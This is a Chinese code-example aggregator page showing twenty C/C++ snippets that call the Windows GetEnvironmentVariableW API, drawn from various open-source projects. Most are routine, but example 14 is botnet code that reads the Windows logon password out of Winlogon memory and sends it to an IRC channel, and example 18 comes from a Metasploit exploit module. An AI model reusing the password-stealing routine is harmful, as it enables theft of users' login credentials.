C++ GetEnvironmentVariableW函数代码示例

OGeek|极客世界-中国程序员成长平台 › 门户 › 编程› C++›C++教程

原作者: [db:作者] 来自: [db:来源] 收藏邀请

本文整理汇总了C++中GetEnvironmentVariableW函数的典型用法代码示例。如果您正苦于以下问题：C++ GetEnvironmentVariableW函数的具体用法？C++ GetEnvironmentVariableW怎么用？C++ GetEnvironmentVariableW使用的例子？那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了GetEnvironmentVariableW函数的20个代码示例，这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞，您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: environment_variable

const char* environment_variable( const char* var )
{
#if FOUNDATION_PLATFORM_WINDOWS
	unsigned int required;
	wchar_t* key = wstring_allocate_from_string( var, 0 );
	wchar_t val[FOUNDATION_MAX_PATHLEN]; val[0] = 0;
	if( ( required = GetEnvironmentVariableW( key, val, FOUNDATION_MAX_PATHLEN ) ) > FOUNDATION_MAX_PATHLEN )
	{
		wchar_t* val_local = memory_allocate( sizeof( wchar_t ) * ( required + 2 ), 0, MEMORY_TEMPORARY );
		val_local[0] = 0;
		GetEnvironmentVariableW( key, val_local, required + 1 );
		if( _environment_var )
			string_deallocate( _environment_var );
		_environment_var = string_allocate_from_wstring( val_local, 0 );
		memory_deallocate( val_local );
	}
	else
	{
		if( _environment_var )
			string_deallocate( _environment_var );
		_environment_var = string_allocate_from_wstring( val, 0 );
	}
	wstring_deallocate( key );
	return _environment_var;
#elif FOUNDATION_PLATFORM_POSIX
	return getenv( var );
#else
#  error Not implemented
#endif
}

开发者ID:NocturnDragon，项目名称:foundation_lib，代码行数:30，代码来源:environment.c

示例2: g_getenv

const gchar *
g_getenv (const gchar *variable)
{
  GQuark quark;
  gchar *value;
  wchar_t dummy[2], *wname, *wvalue;
  int len;

  g_return_val_if_fail (variable != NULL, NULL);
  g_return_val_if_fail (g_utf8_validate (variable, -1, NULL), NULL);

  /* On Windows NT, it is relatively typical that environment
   * variables contain references to other environment variables. If
   * so, use ExpandEnvironmentStrings(). (In an ideal world, such
   * environment variables would be stored in the Registry as
   * REG_EXPAND_SZ type values, and would then get automatically
   * expanded before a program sees them. But there is broken software
   * that stores environment variables as REG_SZ values even if they
   * contain references to other environment variables.)
   */

  wname = g_utf8_to_utf16 (variable, -1, NULL, NULL, NULL);

  len = GetEnvironmentVariableW (wname, dummy, 2);

  if (len == 0)
    {
      g_free (wname);
      return NULL;
    }
  else if (len == 1)
    len = 2;

  wvalue = g_new (wchar_t, len);

  if (GetEnvironmentVariableW (wname, wvalue, len) != len - 1)
    {
      g_free (wname);
      g_free (wvalue);
      return NULL;
    }

  if (wcschr (wvalue, L'%') != NULL)
    {
      wchar_t *tem = wvalue;

      len = ExpandEnvironmentStringsW (wvalue, dummy, 2);

      if (len > 0)
        {
          wvalue = g_new (wchar_t, len);

          if (ExpandEnvironmentStringsW (tem, wvalue, len) != len)
            {
              g_free (wvalue);
              wvalue = tem;
            }
          else
            g_free (tem);
        }

开发者ID:01org，项目名称:android-bluez-glib，代码行数:60，代码来源:genviron.c

示例3: Wname

std::string CEnvironment::getenv(const std::string &name)
{
#ifdef TARGET_WINDOWS
  std::wstring Wname (win32ConvertUtf8ToW(name));
  if (Wname.empty())
    return "";

  wchar_t * wStr = ::_wgetenv(Wname.c_str());
  if (wStr != NULL)
    return win32ConvertWToUtf8(wStr);

  // Not found in Environment of runtime library
  // Try Environment of process as fallback
  unsigned int varSize = GetEnvironmentVariableW(Wname.c_str(), NULL, 0);
  if (varSize == 0)
    return ""; // Not found
  wchar_t * valBuf = new wchar_t[varSize];
  if (GetEnvironmentVariableW(Wname.c_str(), valBuf, varSize) != varSize-1)
  {
    delete[] valBuf;
    return "";
  }
  std::wstring Wvalue (valBuf);
  delete[] valBuf;

  return win32ConvertWToUtf8(Wvalue);
#else
  char * str = ::getenv(name.c_str());
  if (str == NULL)
    return "";
  return str;
#endif
}

开发者ID:0xheart0，项目名称:xbmc，代码行数:33，代码来源:Environment.cpp

示例4: SetEenvironment

BOOL SetEenvironment()
{
	LoadString(hInst, IDS_CMDLINE, szCommandLine, sizeof(szCommandLine)/sizeof(szCommandLine[0])-1);
	LoadString(hInst, IDS_ENVIRONMENT, szEnvironment, sizeof(szEnvironment)/sizeof(szEnvironment[0])-1);
	//LoadString(hInst, IDS_PROXYLIST, szProxyString, sizeof(szProxyString)/sizeof(szEnvironment[0])-1);

	WCHAR *sep = L"\n";
	WCHAR *pos = NULL;
    WCHAR *token = wcstok(szEnvironment, sep);
	while(token != NULL)
	{
		if (pos = wcschr(token, L'='))
		{
			*pos = 0;
			SetEnvironmentVariableW(token, pos+1);
			//wprintf(L"[%s] = [%s]\n", token, pos+1);
		}
		token = wcstok(NULL, sep);
	}

	GetEnvironmentVariableW(L"TASKBAR_TITLE", szTitle, sizeof(szTitle)/sizeof(szTitle[0])-1);
	GetEnvironmentVariableW(L"TASKBAR_TOOLTIP", szTooltip, sizeof(szTooltip)/sizeof(szTooltip[0])-1);
	GetEnvironmentVariableW(L"TASKBAR_BALLOON", szBalloon, sizeof(szBalloon)/sizeof(szBalloon[0])-1);

	return TRUE;
}

开发者ID:kemadz，项目名称:taskbar，代码行数:26，代码来源:taskbar.cpp

示例5: GetCOMPlusVariable

// Look for 'key' as an environment variable named COMPlus_<key>. The returned value
// is nullptr if it is not found, or a string if found. If not nullptr, the returned
// value must be freed with jitInstance.freeLongLivedArray(value).
wchar_t* GetCOMPlusVariable(const wchar_t* key, JitInstance& jitInstance)
{
    static const wchar_t Prefix[]  = W("COMPlus_");
    static const size_t  PrefixLen = (sizeof(Prefix) / sizeof(Prefix[0])) - 1;

    // Prepend "COMPlus_" to the provided key
    size_t   keyLen       = wcslen(key);
    size_t   keyBufferLen = keyLen + PrefixLen + 1;
    wchar_t* keyBuffer =
        reinterpret_cast<wchar_t*>(jitInstance.allocateArray(static_cast<ULONG>(sizeof(wchar_t) * keyBufferLen)));
    wcscpy_s(keyBuffer, keyBufferLen, Prefix);
    wcscpy_s(&keyBuffer[PrefixLen], keyLen + 1, key);

    // Look up the environment variable
    DWORD valueLen = GetEnvironmentVariableW(keyBuffer, nullptr, 0);
    if (valueLen == 0)
    {
        jitInstance.freeArray(keyBuffer);
        return nullptr;
    }

    // Note this value must live as long as the jit instance does.
    wchar_t* value       = reinterpret_cast<wchar_t*>(jitInstance.allocateLongLivedArray(sizeof(wchar_t) * valueLen));
    DWORD    newValueLen = GetEnvironmentVariableW(keyBuffer, value, valueLen);

    jitInstance.freeArray(keyBuffer);
    if (valueLen < newValueLen)
    {
        jitInstance.freeLongLivedArray(value);
        return nullptr;
    }

    return value;
}

开发者ID:A-And，项目名称:coreclr，代码行数:37，代码来源:jithost.cpp

示例6: RTDECL

/**
 * Gets the user home directory.
 *
 * @returns iprt status code.
 * @param   pszPath     Buffer where to store the path.
 * @param   cchPath     Buffer size in bytes.
 */
RTDECL(int) RTPathUserHome(char *pszPath, size_t cchPath)
{
    RTUTF16 wszPath[RTPATH_MAX];
    DWORD   dwAttr;

    /*
     * There are multiple definitions for what WE think of as user home...
     */
    if (    !GetEnvironmentVariableW(L"HOME", &wszPath[0], RTPATH_MAX)
        ||  (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
        ||  !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
    {
        if (    !GetEnvironmentVariableW(L"USERPROFILE", &wszPath[0], RTPATH_MAX)
            ||  (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
            ||  !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
        {
            /* %HOMEDRIVE%%HOMEPATH% */
            if (!GetEnvironmentVariableW(L"HOMEDRIVE", &wszPath[0], RTPATH_MAX))
                return VERR_PATH_NOT_FOUND;
            size_t const cwc = RTUtf16Len(&wszPath[0]);
            if (    !GetEnvironmentVariableW(L"HOMEPATH", &wszPath[cwc], RTPATH_MAX - (DWORD)cwc)
                ||  (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
                ||  !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
                return VERR_PATH_NOT_FOUND;
        }
    }

    /*
     * Convert and return.
     */
    return RTUtf16ToUtf8Ex(&wszPath[0], RTSTR_MAX, &pszPath, cchPath, NULL);
}

开发者ID:greg100795，项目名称:virtualbox，代码行数:39，代码来源:path-win.cpp

示例7: apxAddToPathW

BOOL apxAddToPathW(APXHANDLE hPool, LPCWSTR szAdd)
{
    LPWSTR wsAdd;
    DWORD  rc;
    DWORD  al;
    
    rc = GetEnvironmentVariableW(L"PATH", NULL, 0);
    if (rc == 0 && GetLastError() == ERROR_ENVVAR_NOT_FOUND)
        return FALSE;
    al = lstrlenW(szAdd) + 6;
    if (!(wsAdd = apxPoolAlloc(hPool, (al + rc + 1) * sizeof(WCHAR))))
        return FALSE;
    lstrcpyW(wsAdd, L"PATH=");        
    lstrcatW(wsAdd, szAdd);        
    lstrcatW(wsAdd, L";");        
    if (!GetEnvironmentVariableW(L"PATH", wsAdd + al, rc - al)) {
        apxLogWrite(APXLOG_MARK_SYSERR);
        apxFree(wsAdd);
        return FALSE;
    }
    SetEnvironmentVariableW(L"PATH", wsAdd + 5);
    _wputenv(wsAdd);
    apxFree(wsAdd);
    return TRUE;
}

开发者ID:VertiPub，项目名称:jsvc，代码行数:25，代码来源:utils.c

示例8: Java_net_rubygrapefruit_platform_internal_jni_PosixProcessFunctions_getEnvironmentVariable

JNIEXPORT jstring JNICALL
Java_net_rubygrapefruit_platform_internal_jni_PosixProcessFunctions_getEnvironmentVariable(JNIEnv *env, jclass target, jstring var, jobject result) {
    wchar_t* varStr = java_to_wchar(env, var, result);
    DWORD len = GetEnvironmentVariableW(varStr, NULL, 0);
    if (len == 0) {
        if (GetLastError() != ERROR_ENVVAR_NOT_FOUND) {
            mark_failed_with_errno(env, "could not determine length of environment variable", result);
        }
        free(varStr);
        return NULL;
    }
    wchar_t* valueStr = (wchar_t*)malloc(sizeof(wchar_t) * len);
    DWORD copied = GetEnvironmentVariableW(varStr, valueStr, len);
    if (copied == 0) {
        if (len > 1) {
            // If the value is empty, then copied will be 0
            mark_failed_with_errno(env, "could not get environment variable", result);
        }
        free(varStr);
        free(valueStr);
        return NULL;
    }
    free(varStr);
    jstring value = wchar_to_java(env, valueStr, copied, result);
    free(valueStr);
    return value;
}

开发者ID:tinca，项目名称:native-platform，代码行数:27，代码来源:win.cpp

示例9: c_getenv

const char *
c_getenv(const char *variable)
{
    c_utf16_t *var, *buffer;
    char *val = NULL;
    int32_t buffer_size = 1024;
    int32_t retval;
    var = u8to16(variable);
    buffer = c_malloc(buffer_size * sizeof(c_utf16_t));
    retval = GetEnvironmentVariableW(var, buffer, buffer_size);
    if (retval != 0) {
        if (retval > buffer_size) {
            c_free(buffer);
            buffer_size = retval;
            buffer = c_malloc(buffer_size * sizeof(c_utf16_t));
            retval = GetEnvironmentVariableW(var, buffer, buffer_size);
        }
        val = u16to8(buffer);
    } else {
        if (GetLastError() != ERROR_ENVVAR_NOT_FOUND) {
            val = c_malloc(1);
            *val = 0;
        }
    }
    c_free(var);
    c_free(buffer);
    return val;
}

开发者ID:rig-project，项目名称:clib，代码行数:28，代码来源:cmisc-win32.c

示例10: SetEenvironment

BOOL SetEenvironment() {
    WCHAR *sep = L"\n";
    WCHAR *pos = NULL;
    WCHAR *token = wcstok(szEnvironment, sep);
    while(token != NULL) {
        if (pos = wcschr(token, L'=')) {
            *pos = 0;
            SetEnvironmentVariableW(token, pos+1);
        }
        token = wcstok(NULL, sep);
    }
    GetEnvironmentVariableW(L"ENV_VISIBLE", szVisible, sizeof(szVisible)/sizeof(szVisible[0])-1);
    GetEnvironmentVariableW(L"ENV_TITLE", szTitle, sizeof(szTitle)/sizeof(szTitle[0])-1);
    GetEnvironmentVariableW(L"ENV_TOOLTIP", szTooltip, sizeof(szTooltip)/sizeof(szTooltip[0])-1);
    GetEnvironmentVariableW(L"ENV_BALLOON", szBalloon, sizeof(szBalloon)/sizeof(szBalloon[0])-1);

    ParseSubMenuTitleList();
    ParseSubMenuCmdList();
    ParseSubMenuPathList();

    GetModuleFileName(NULL, szPath, sizeof(szPath)/sizeof(szPath[0])-1);
    *wcsrchr(szPath, L'\\') = 0;
    SetEnvironmentVariableW(L"ENV_BOOT_PWD", szPath);
    
    return TRUE;
}

开发者ID:wowngasb，项目名称:kl_tool，代码行数:26，代码来源:taskbar.cpp

示例11: Sutf8_to_wide

char *Sgetenv(const char *name) {
  wchar_t* wname;
  DWORD n;
  wchar_t buffer[256];
  wname = Sutf8_to_wide(name);
  if (NULL == wname) return NULL;
  n = GetEnvironmentVariableW(wname, buffer, 256);
  if (n == 0) {
    free(wname);
    return NULL;
  } else if (n <= 256) {
    free(wname);
    return Swide_to_utf8(buffer);
  } else {
    wchar_t* value = (wchar_t*)malloc(n * sizeof(wchar_t));
    if (0 == GetEnvironmentVariableW(wname, value, n)) {
      free(wname);
      free(value);
      return NULL;
    } else {
      char* result = Swide_to_utf8(value);
      free(wname);
      free(value);
      return result;
    }
  }
}

开发者ID:chpwang，项目名称:ChezScheme，代码行数:27，代码来源:windows.c

示例12: GetTempPathW

/*
 * @implemented
 *
 * ripped from wine
 */
DWORD
WINAPI
GetTempPathW (
	DWORD	count,
   LPWSTR   path
	)
{
    static const WCHAR tmp[]  = { 'T', 'M', 'P', 0 };
    static const WCHAR temp[] = { 'T', 'E', 'M', 'P', 0 };
    static const WCHAR userprofile[] = { 'U','S','E','R','P','R','O','F','I','L','E',0 };
    WCHAR tmp_path[MAX_PATH];
    UINT ret;

    TRACE("%u,%p\n", count, path);

    if (!(ret = GetEnvironmentVariableW( tmp, tmp_path, MAX_PATH )) &&
        !(ret = GetEnvironmentVariableW( temp, tmp_path, MAX_PATH )) &&
        !(ret = GetEnvironmentVariableW( userprofile, tmp_path, MAX_PATH )) &&
        !(ret = GetWindowsDirectoryW( tmp_path, MAX_PATH )))
        return 0;

   if (ret > MAX_PATH)
   {
     SetLastError(ERROR_FILENAME_EXCED_RANGE);
     return 0;
   }

   ret = GetFullPathNameW(tmp_path, MAX_PATH, tmp_path, NULL);
   if (!ret) return 0;

   if (ret > MAX_PATH - 2)
   {
     SetLastError(ERROR_FILENAME_EXCED_RANGE);
     return 0;
   }

   if (tmp_path[ret-1] != '\\')
   {
     tmp_path[ret++] = '\\';
     tmp_path[ret]   = '\0';
   }

   ret++; /* add space for terminating 0 */

   if (count)
   {
     lstrcpynW(path, tmp_path, count);
     if (count >= ret)
         ret--; /* return length without 0 */
     else if (count < 4)
         path[0] = 0; /* avoid returning ambiguous "X:" */
   }

   TRACE("GetTempPathW returning %u, %S\n", ret, path);
   return ret;

}

开发者ID:HBelusca，项目名称:NasuTek-Odyssey，代码行数:62，代码来源:curdir.c

示例13: RTDECL

/**
 * Gets the user home directory.
 *
 * @returns iprt status code.
 * @param   pszPath     Buffer where to store the path.
 * @param   cchPath     Buffer size in bytes.
 */
RTDECL(int) RTPathUserHome(char *pszPath, size_t cchPath)
{
    /*
     * Validate input
     */
    AssertPtrReturn(pszPath, VERR_INVALID_POINTER);
    AssertReturn(cchPath, VERR_INVALID_PARAMETER);

    RTUTF16 wszPath[RTPATH_MAX];
    bool    fValidFolderPath = false;

    /*
     * Try with Windows XP+ functionality first.
     */
    RTLDRMOD hShell32;
    int rc = RTLdrLoadSystem("Shell32.dll", true /*fNoUnload*/, &hShell32);
    if (RT_SUCCESS(rc))
    {
        PFNSHGETFOLDERPATHW pfnSHGetFolderPathW;
        rc = RTLdrGetSymbol(hShell32, "SHGetFolderPathW", (void**)&pfnSHGetFolderPathW);
        if (RT_SUCCESS(rc))
        {
            HRESULT hrc = pfnSHGetFolderPathW(0, CSIDL_PROFILE, NULL, SHGFP_TYPE_CURRENT, wszPath);
            fValidFolderPath = (hrc == S_OK);
        }
        RTLdrClose(hShell32);
    }

    DWORD   dwAttr;
    if (    !fValidFolderPath
        ||  (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
        ||  !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
    {
        /*
         * Fall back to Windows specific environment variables. HOME is not used.
         */
        if (    !GetEnvironmentVariableW(L"USERPROFILE", &wszPath[0], RTPATH_MAX)
            ||  (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
            ||  !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
        {
            /* %HOMEDRIVE%%HOMEPATH% */
            if (!GetEnvironmentVariableW(L"HOMEDRIVE", &wszPath[0], RTPATH_MAX))
                return VERR_PATH_NOT_FOUND;
            size_t const cwc = RTUtf16Len(&wszPath[0]);
            if (    !GetEnvironmentVariableW(L"HOMEPATH", &wszPath[cwc], RTPATH_MAX - (DWORD)cwc)
                ||  (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
                ||  !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
                return VERR_PATH_NOT_FOUND;
        }
    }

    /*
     * Convert and return.
     */
    return RTUtf16ToUtf8Ex(&wszPath[0], RTSTR_MAX, &pszPath, cchPath, NULL);
}

开发者ID:stefano-garzarella，项目名称:virtualbox-org-svn-vbox-trunk，代码行数:63，代码来源:path-win.cpp

示例14: FindPassThread

DWORD WINAPI FindPassThread(LPVOID param)
{ 
	FINDPASS findpass = *((FINDPASS *)param);
	FINDPASS *findpasss = (FINDPASS *)param;
	findpasss->gotinfo = TRUE;

	char sendbuf[IRCLINE];

	DWORD dwOS = OSVersionCheck();
	if (dwOS == OS_WINNT || dwOS == OS_WIN2K) {
		if (AdjustPrivileges("SeDebugPrivilege", TRUE)) {
			HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
			pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)GetProcAddress 
				(hNtDll,"NtQuerySystemInformation");
			pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)GetProcAddress 
				(hNtDll,"RtlCreateQueryDebugBuffer");
			pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION)GetProcAddress 
				(hNtDll,"RtlQueryProcessDebugInformation");
			pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER)GetProcAddress 
				(hNtDll,"RtlDestroyQueryDebugBuffer");
			pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING)GetProcAddress 
				(hNtDll,"RtlRunDecodeUnicodeString");

			DWORD WinLogonPID = FindWinLogon();
			if (WinLogonPID != 0) { 
				GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
				GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);
	 
				BOOL FoundPasswordPage = ((dwOS == OS_WINNT)?(LocatePasswordPageWinNT(WinLogonPID,&PasswordLength))
					:(LocatePasswordPageWin2K(WinLogonPID,&PasswordLength)));
				if (FoundPasswordPage) { 
					if (PasswordLength == 0) 
						_snprintf(sendbuf,sizeof(sendbuf),"[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/(no password)).",
							WinLogonPID,UserDomain,UserName);
					else 
						sprintf(sendbuf,(dwOS == OS_WINNT)?(DisplayPasswordWinNT(WinLogonPID)):(DisplayPasswordWin2K(WinLogonPID)));
				} else	
					sprintf(sendbuf,"[FINDPASS]: Unable to find the password in memory.");
			} else 
				sprintf(sendbuf,"[FINDPASS]: Unable to find Winlogon Process ID.");

			AdjustPrivileges("SeDebugPrivilege", FALSE);
			FreeLibrary(hNtDll);
		} else
			sprintf(sendbuf, "[FINDPASS]: Failed to enable Debug Privilege.");
	} else
		sprintf(sendbuf, "[FINDPASS]: Only supported on Windows NT/2000.");

	if (!findpass.silent) irc_privmsg(findpass.sock,findpass.chan,sendbuf,findpass.notice);
	addlog(sendbuf);

	clearthread(findpass.threadnum);

	ExitThread(0);
}

开发者ID:hazcod，项目名称:botnets，代码行数:55，代码来源:findpass.cpp

示例15: getWindowsVariable

static inline UString getWindowsVariable(const wchar_t *variable) {
	DWORD length = GetEnvironmentVariableW(variable, 0, 0);
	if (!length)
		return "";

	const size_t size = length * sizeof(wchar_t);
	ScopedArray<byte> data(new byte[size]);

	DWORD newLength = GetEnvironmentVariableW(variable, reinterpret_cast<wchar_t *>(data.get()), length);
	if (!newLength || (newLength > length))
		return "";

	return readString(data.get(), size, kEncodingUTF16LE);
}

开发者ID:ImperatorPrime，项目名称:xoreos，代码行数:14，代码来源:platform.cpp

示例16: GetHomeUriWin

std::vector<unicode_t> GetHomeUriWin()
{
	wchar_t homeDrive[0x100];
	wchar_t homePath[0x100];
	int l1 = GetEnvironmentVariableW( L"HOMEDRIVE", homeDrive, 0x100 );
	int l2 = GetEnvironmentVariableW( L"HOMEPATH", homePath, 0x100 );

	if ( l1 > 0 && l1 < 0x100 && l2 > 0 && l2 < 0x100 )
	{
		return carray_cat<unicode_t>( Utf16ToUnicode( homeDrive ).data(), Utf16ToUnicode( homePath ).data() );
	}

	return std::vector<unicode_t>();
}

开发者ID:0-wiz-0，项目名称:WCMCommander，代码行数:14，代码来源:file-util.cpp

示例17:

/* INTERNAL: retrieve COMSPEC environment variable */
static MSVCRT_wchar_t *msvcrt_get_comspec(void)
{
  static const MSVCRT_wchar_t cmd[] = {'c','m','d',0};
  static const MSVCRT_wchar_t comspec[] = {'C','O','M','S','P','E','C',0};
  MSVCRT_wchar_t *ret;
  unsigned int len;

  if (!(len = GetEnvironmentVariableW(comspec, NULL, 0))) len = sizeof(cmd)/sizeof(MSVCRT_wchar_t);
  if ((ret = HeapAlloc(GetProcessHeap(), 0, len * sizeof(MSVCRT_wchar_t))))
  {
    if (!GetEnvironmentVariableW(comspec, ret, len)) strcpyW(ret, cmd);
  }
  return ret;
}

开发者ID:WASSUM，项目名称:longene_travel，代码行数:15，代码来源:process.c

示例18: do_work

static void do_work()
{
	WCHAR envBuffer[256];

	GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer));
	// restore system root
	SetEnvironmentVariableW(L"SystemRoot", envBuffer);
	//SetEnvironmentVariableW(L"SaveSystemRoot", NULL);

	GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer));
	SetEnvironmentVariableW(L"MyDllPath", NULL);

	// shell32.dll will be unloaded, use another dll
	LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
}

开发者ID:0stvind，项目名称:metasploit-framework，代码行数:15，代码来源:ieshell32.cpp

示例19: get_env

//------------------------------------------------------------------------------
bool get_env(const char* name, str_base& out)
{
    wstr<32> wname(name);

    int len = GetEnvironmentVariableW(wname.c_str(), nullptr, 0);
    if (!len)
        return false;

    wstr<> wvalue;
    wvalue.reserve(len);
    len = GetEnvironmentVariableW(wname.c_str(), wvalue.data(), wvalue.size());

    out.reserve(len);
    out = wvalue.c_str();
    return true;
}

开发者ID:Maximus5，项目名称:clink，代码行数:17，代码来源:os.cpp

示例20: LoadCoreClr

HMODULE LoadCoreClr(const std::wstring& runtime_directory, dnx::trace_writer& trace_writer)
{
    HMODULE coreclr_module;

    wchar_t coreclr_dir_buffer[MAX_PATH];
    auto result = GetEnvironmentVariableW(L"CORECLR_DIR", coreclr_dir_buffer, MAX_PATH);
    if (result > MAX_PATH)
    {
        trace_writer.write(L"The value of the 'CORECLR_DIR' variable is invalid. Aborting loading coreclr.dll.", true);
        return nullptr;
    }

    if (result)
    {
        coreclr_module = LoadCoreClrFromPath(coreclr_dir_buffer, trace_writer);
    }
    else
    {
        coreclr_module = LoadLibraryExW(dnx::utils::path_combine(runtime_directory, L"coreclr.dll").c_str(), NULL, 0);
    }

    if (coreclr_module)
    {
        if (PinModule(coreclr_module, trace_writer))
        {
            return coreclr_module;
        }

        FreeLibrary(coreclr_module);
    }

    return nullptr;
}

开发者ID:henghu-bai，项目名称:dnx，代码行数:33，代码来源:dnx.coreclr.cpp

注：本文中的GetEnvironmentVariableW函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台，相关代码片段筛选自各路编程大神贡献的开源项目，源码版权归原作者所有，传播和使用请参考对应项目的License；未经允许，请勿转载。

鲜花

握手

雷人

路过

鸡蛋

该文章已有0人参与评论

请发表评论

全部评论

专题导读

More+

10-27 六六分期app的软件客服如何联系？(六六分期

11-06 可心卡盟:win10系统火狐flash插件崩溃怎么

11-06 亲亲特价:怎么删除回收站图标

11-06 济南大学虚拟社区:鲁大师节能降温的具体办

11-06 xlueops.exe:无线网络安装向导

11-06 女斗合众国:win7系统cf与主机连接不稳定怎

11-06 0xc000022-[cf烟雾头]cf怎么调烟雾头

11-06 qizideyouhuo:应用程序无法正常启动0xc0000

11-06 ipz-185:win7系统vcf文件怎么打开

11-06 傻哥蹦迪:win10系统s4怎么打开usb调试

11-06 八神浩树gtaste:回收站清空了怎么恢复

11-06 妖尾之黑色守护:win10系统电脑没有1440x900

11-06 校园至尊魔王小说:win7系统浏览网页时字体

11-06 女斗合众国:win10系统访问共享文件夹提示请

11-06 tokyo hot n0654:恢复win7系统默认字体一招

11-06 雨酷仙境:设置win7系统转移临时文件夹腾出

11-06 阿穆纳伊之杖:win7系统开始菜单在右边还原

11-06 tunespotting:win10系统火狐flash插件总是

11-06 甘尔葛分析师：计谋网站seo关键词暴涨有什

11-06 蔡贵霖: 计谋网站seo关键词暴涨有什么秘密

11-06 博益网首页:ao3网页版进入不了解决方法

11-06 漏斗子专栏: 网站数据分析小白易懂精华篇

11-06 见证双虹怎么做:win7系统开启telnet命令的

11-06 颾狐蝶蜋:系统资源不足无法完成请求的服务

11-06 国光中学校歌:提交网站到alexa查询详细步骤

11-06 西安有情天:静态网页和动态网页的区别

11-06 红木雅尚斋:外部链接构造对网站的好处

11-06 前官礼遇：防止域名劫持–增强域安全性的10

11-06 密传二转答案: 中文分词算法有哪些

11-06 金泉家园邮编:百度快照劫持的表现及应对方

C++ GetError函数代码示例发布时间：2022-05-30

C++ GetEnvironmentVariable函数代码示例发布时间：2022-05-30

剪的笔顺,诠释剪的笔画,认识剪的部首

1 六六分期app的软件客服如何联系？(六六分期

六六分期app的软件客服如何联系？不知道吗？加qq群【895510560】即可！标题：六六分期

阅读：18279|2023-10-27

2 可心卡盟:win10系统火狐flash插件崩溃怎么

今天小编告诉大家如何处理win10系统火狐flash插件总是崩溃的问题，可能很多用户都不知

阅读：9678|2022-11-06

3 亲亲特价:怎么删除回收站图标

今天小编告诉大家如何对win10系统删除桌面回收站图标进行设置，可能很多用户都不知道

阅读：8180|2022-11-06

4 济南大学虚拟社区:鲁大师节能降温的具体办

今天小编告诉大家如何对win10系统电脑设置节能降温的设置方法，想必大家都遇到过需要

阅读：8549|2022-11-06

5 xlueops.exe:无线网络安装向导

我们在使用xp系统的过程中,经常需要对xp系统无线网络安装向导设置进行设置，可能很多

阅读：8458|2022-11-06

6 女斗合众国:win7系统cf与主机连接不稳定怎

今天小编告诉大家如何处理win7系统玩cf老是与主机连接不稳定的问题，可能很多用户都不

阅读：9393|2022-11-06

7 0xc000022-[cf烟雾头]cf怎么调烟雾头

电脑对日常生活的重要性小编就不多说了，可是一旦碰到win7系统设置cf烟雾头的问题，很

阅读：8431|2022-11-06

8 qizideyouhuo:应用程序无法正常启动0xc0000

我们在日常使用电脑的时候，有的小伙伴们可能在打开应用的时候会遇见提示应用程序无法

阅读：7865|2022-11-06

9 ipz-185:win7系统vcf文件怎么打开

今天小编告诉大家如何对win7系统打开vcf文件进行设置，可能很多用户都不知道怎么对win

阅读：8416|2022-11-06

10 傻哥蹦迪:win10系统s4怎么打开usb调试

今天小编告诉大家如何对win10系统s4开启USB调试模式进行设置，可能很多用户都不知道怎

阅读：7394|2022-11-06

客服电话

电子邮件

C++ GetEnvironmentVariableW函数代码示例

示例1: environment_variable

示例2: g_getenv

示例3: Wname

示例4: SetEenvironment

示例5: GetCOMPlusVariable

示例6: RTDECL

示例7: apxAddToPathW

示例8: Java_net_rubygrapefruit_platform_internal_jni_PosixProcessFunctions_getEnvironmentVariable

示例9: c_getenv

示例10: SetEenvironment

示例11: Sutf8_to_wide

示例12: GetTempPathW

示例13: RTDECL

示例14: FindPassThread

示例15: getWindowsVariable

示例16: GetHomeUriWin

示例17:

示例18: do_work

示例19: get_env

示例20: LoadCoreClr

请发表评论

全部评论

上一篇：

下一篇：

DelphiCreateProcess

PacktPublishing/Python-Machine-Learning-

Mastodontico/mastodon-nginx-config

鲁东大学一米网:Win7系统USB驱动器RAM的操

魔兽世界风剑幻化任务流程

剪的笔顺,诠释剪的笔画,认识剪的部首

六六分期app的软件客服如何联系？(六六分期

florent37/ViewAnimator: A fluent Android

florent37/Shrine-MaterialDesign2: implem

CVE-2020-36276

SimpleSoftwareIO/simple-sms: Send and re

关于我们

产品与服务

解决方案

139-2527-9053